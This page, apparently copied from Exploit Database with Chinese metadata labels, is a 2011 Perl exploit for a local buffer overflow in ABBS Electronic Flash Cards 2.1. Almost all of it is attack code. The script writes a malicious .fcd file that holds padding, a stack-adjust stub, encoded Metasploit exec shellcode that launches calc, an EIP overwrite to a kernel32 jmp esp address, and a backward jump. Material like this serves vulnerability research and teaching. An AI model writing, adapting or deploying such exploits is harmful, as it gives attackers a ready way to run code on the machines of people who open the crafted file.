ABBS Electronic Flash Cards 2.1 – ‘.fcd’ Local Buffer Overflow

• Exploit Database
• 10 阅读

• 作者： h1ch4m
  日期： 2011-03-14
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16977/

• # Exploit Title: ABBS Electronic Flash Cards Buffer Overflow Exploit
  # Software Link: http://abbs.qsnx.net/downloads/abbs-flashcards.zip
  # Version: 2.1
  # triggering details : open the app, go to test, click on random, and start test, then chose the fcd file, and booom calc pops up
  # Tested on: Win XP SP3 French
  # Date: 14/03/2011
  # Author: h1ch4m
  # Email: h1ch4m@live.fr
  # Home: http://net-effects.blogspot.com
  
  
  my $file= "exploit.fcd";
  my $size = 4108;
  
  # make a room for our shellcode
  my $stack = "\x31\xc0" . # xor eax, eax
  "\xb4\x10" . # mov ah, 10h
  			"\x29\xc4" . # sub esp, eax
  			"\x90";# nop, 0x0a is a bad char, so i added a nop 0x0a becomes 0x09 (jump)			 
  
  # windows/exec - 223 bytes
  # http://www.metasploit.com
  # Encoder: x86/shikata_ga_nai
  # EXITFUNC=seh, CMD=calc
  my $shellcode = "\xbf\xa0\x03\xb5\xf2\x33\xc9\xb1\x32\xdb\xdf\xd9\x74\x24" .
  "\xf4\x5a\x31\x7a\x0e\x03\x7a\x0e\x83\x62\x07\x57\x07\x9e" .
  "\xe0\x1e\xe8\x5e\xf1\x40\x60\xbb\xc0\x52\x16\xc8\x71\x63" .
  "\x5c\x9c\x79\x08\x30\x34\x09\x7c\x9d\x3b\xba\xcb\xfb\x72" .
  "\x3b\xfa\xc3\xd8\xff\x9c\xbf\x22\x2c\x7f\x81\xed\x21\x7e" .
  "\xc6\x13\xc9\xd2\x9f\x58\x78\xc3\x94\x1c\x41\xe2\x7a\x2b" .
  "\xf9\x9c\xff\xeb\x8e\x16\x01\x3b\x3e\x2c\x49\xa3\x34\x6a" .
  "\x6a\xd2\x99\x68\x56\x9d\x96\x5b\x2c\x1c\x7f\x92\xcd\x2f" .
  "\xbf\x79\xf0\x80\x32\x83\x34\x26\xad\xf6\x4e\x55\x50\x01" .
  "\x95\x24\x8e\x84\x08\x8e\x45\x3e\xe9\x2f\x89\xd9\x7a\x23" .
  "\x66\xad\x25\x27\x79\x62\x5e\x53\xf2\x85\xb1\xd2\x40\xa2" .
  "\x15\xbf\x13\xcb\x0c\x65\xf5\xf4\x4f\xc1\xaa\x50\x1b\xe3" .
  "\xbf\xe3\x46\x69\x41\x61\xfd\xd4\x41\x79\xfe\x76\x2a\x48" .
  "\x75\x19\x2d\x55\x5c\x5e\xcf\xa4\x6d\x4a\x58\x1f\x04\x37" .
  "\x04\xa0\xf2\x7b\x31\x23\xf7\x03\xc6\x3b\x72\x06\x82\xfb" .
  "\x6e\x7a\x9b\x69\x91\x29\x9c\xbb\xf2\xac\x0e\x27\xf5";
  
  my $eip = pack('V', 0x7c86467b);# jmp espkernel32.dll
  my $nops = "\x90" x 8;
  
  my $jump = "\xe9\x09\xff\xff\xff";# jump back 247 bytes 
  
  my $junk = "\x90" x ($size-length($stack.$shellcode));
  open($FILE,">$file");
  print $FILE $junk.$stack.$shellcode.$eip.$nops.$jump;
  close($FILE);
  print "Files Created successfully\n";
  sleep(1);